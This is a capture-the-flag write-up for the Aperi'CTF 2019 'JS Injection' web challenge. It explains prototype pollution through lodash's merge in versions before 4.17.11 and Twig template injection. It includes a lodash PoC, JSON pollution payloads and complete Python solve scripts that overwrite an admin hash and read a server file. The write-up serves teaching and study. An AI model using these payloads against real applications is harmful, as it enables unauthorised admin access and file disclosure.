JS Injection

Aperi'CTF 2019 - Web (375 pts).

Aperi’CTF 2019 - JS Injection

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 JS Injection - Part 1 Web 175 5
Aperi’CTF 2019 JS Injection - Part 2 Web 200 5

The application sources are available here.

TL;DR

This challenged is mainly based on a vulnerability present in the JS language : Prototype Pollution

The first part goal is to obtain Admin rights by replacing his hash by yours.

For the second part, you need to read “flag2.txt” by performing Template injection in Twig and eventually another prototype pollution.

First Part : Getting Admin rights

In Javascript, you can perform Prototype pollution by sending a crafted JS Object. If you modify the __proto__ and the program merge recursively another object with it, you can add crafted field to all object.

Many libraries already patched this issue, here we will focus on lodash before 4.17.11.

asgerf published a PoC of this vulnerability on HackerOne :

var _ = require('lodash');
var payload = JSON.parse('{"constructor": {"prototype": {"isAdmin": true}}}');
_.merge({}, payload);
console.log({}.isAdmin); // true

In this case, all objects created will have the attribute isAdmin set to true

So, how does it help us in our challenge ?

Here is the mechanism that checks if you are admin :

sha256_handler = crypto.createHash('sha256')
sha256_handler.update(_.capitalize(req.cookies.password), 'utf8')
hash = sha256_handler.digest().toString('hex')
admin_hash = (config.admin_hash == undefined)? "2f37fb5343e824cc3274cfefcc8d4104b3083aec97051e0e9550f8f9aa3aa319" : config.admin_hash
if(hash == admin_hash) {
    res.sendFile(__dirname +"/flag1.txt")
} else {
    res.send("Not the good pass bro :/")
}

You can see that an hard coded hash is used if config.admin_hash doesn’t exist. Moreover, config.admin_hash is not currently set / defined.

var config = {
    host : process.env.APP_HOST || '127.0.0.1',
    port : process.env.APP_PORT || '3000'
}

Last but not least, the program uses the merge() function of lodash when creating a note.

list_notes.push(_.merge({date: Date.now()},current_note))

So, we need to :

  • Create a note with a prototype that sets admin_hash to a known hash
  • Go on the /getFlag page with the corresponding cookie

Here is a valid solution :

import requests
import hashlib

scheme = 'http'
ip = "127.0.0.1"
port = 3000

clear = b'THEGAME'
sha256 = hashlib.sha256(clear).hexdigest()

out = requests.post(f'{scheme}://{ip}:{port}/createNote',
                json={
                    '__proto__':
                        { 'admin_hash': sha256 },
                    'user' : 'Areizen',
                    'message' : 'injection'
                    }).text

print(out)

out = requests.get(f'{scheme}://{ip}:{port}/getFlag',cookies={ 'password' : clear.decode('utf8')}).text
print(out)

Flag : APRK{WelcomeToAPollutedPlace}

Second Part: Exploiting Twig

For the second part, there is a Template Injection here :

app.get('/',function(req,res){
    index = fs.readFileSync(__dirname + '/index.twig').toString('utf8')

    index = index.replace("--TITLE--",infos.title)    
    index = index.replace("--SCRIPT--",infos.js)
    index = index.replace("--CSS--",infos.css)

    var template = twig({
        data: index
    });

    res.send(template.render())
})

And once again infos.title is not set :

var infos = {
    js   : "js/script.js",
    css  : "css/style.css",
}

By creating a note with the following payload we can control infos.title :

{
	'__proto__' : { 'title' : 'INJECTION HERE' },
	'user' : 'Areizen',
	'message' : 'exploit2'
}

Now we need to find a way to get a shell to read flag2.txt or read it trough Twig ( I couldn’t find a way to obtain a shell since the globals are not accessible from Twig unless you pass it as data ).

So I injected this :

{
	'__proto__' : { 'title' : '{% extends 'flag2.txt' %}' },
	'user' : 'Areizen',
	'message' : 'exploit2'
}

but got the following error :

TwigException: Cannot extend an inline template.

After a quick search on Github issues I found this :

// I had to do it like this:

var html = twig
    .twig({
        allowInlineIncludes: true,
        path: 'template.twig'
    })
    .render(data);

Ok Twig needs to have allowIncludes parameter to true but in our case :

   var template = twig({
        data: index
    });

Why don’t we use Prototype Pollution to add this parameter? :D

{
	'__proto__' : {
					'title' : '{% extends 'flag2.txt' %}',
                    'allowInlineIncludes' : true
                   },
	'user' : 'Areizen',
	'message' : 'exploit2'
}

Here’s the final solving script :

import requests
import hashlib

scheme = 'http'
ip = "127.0.0.1"
port = 3000

clear = b'THEGAME'
sha256 = hashlib.sha256(clear).hexdigest()

out = requests.post(f'{scheme}://{ip}:{port}/createNote',
                json={
                    '__proto__':
                        { 'admin_hash': sha256 },
                    'user' : 'Areizen',
                    'message' : 'injection'
                    }).text

print(out)

out = requests.get(f'{scheme}://{ip}:{port}/getFlag',cookies={ 'password' : clear.decode('utf8')}).text
print(out)


payload = '{% extends "flag2.txt" %}'
out = requests.post(f'{scheme}://{ip}:{port}/createNote',
                json={
                    '__proto__':
                        { 'title': payload, 'allowInlineIncludes':True },
                    'user' : 'Areizen',
                    'message' : 'injection'
                    }).text

print(out)

out = requests.get(f'{scheme}://{ip}:{port}/').text
print(out)

Flag 2 : APRK{twigpollutioninjectionftw!!}

Creased got the flag2 by another payload :

{
	'__proto__' : {
					'title' : '{{source('flag2.txt')}}'
                   },
	'user' : 'Creased',
	'message' : 'exploit2'
}

( source() is not documented in twig.js but in Symphony’s Twig )

Areizen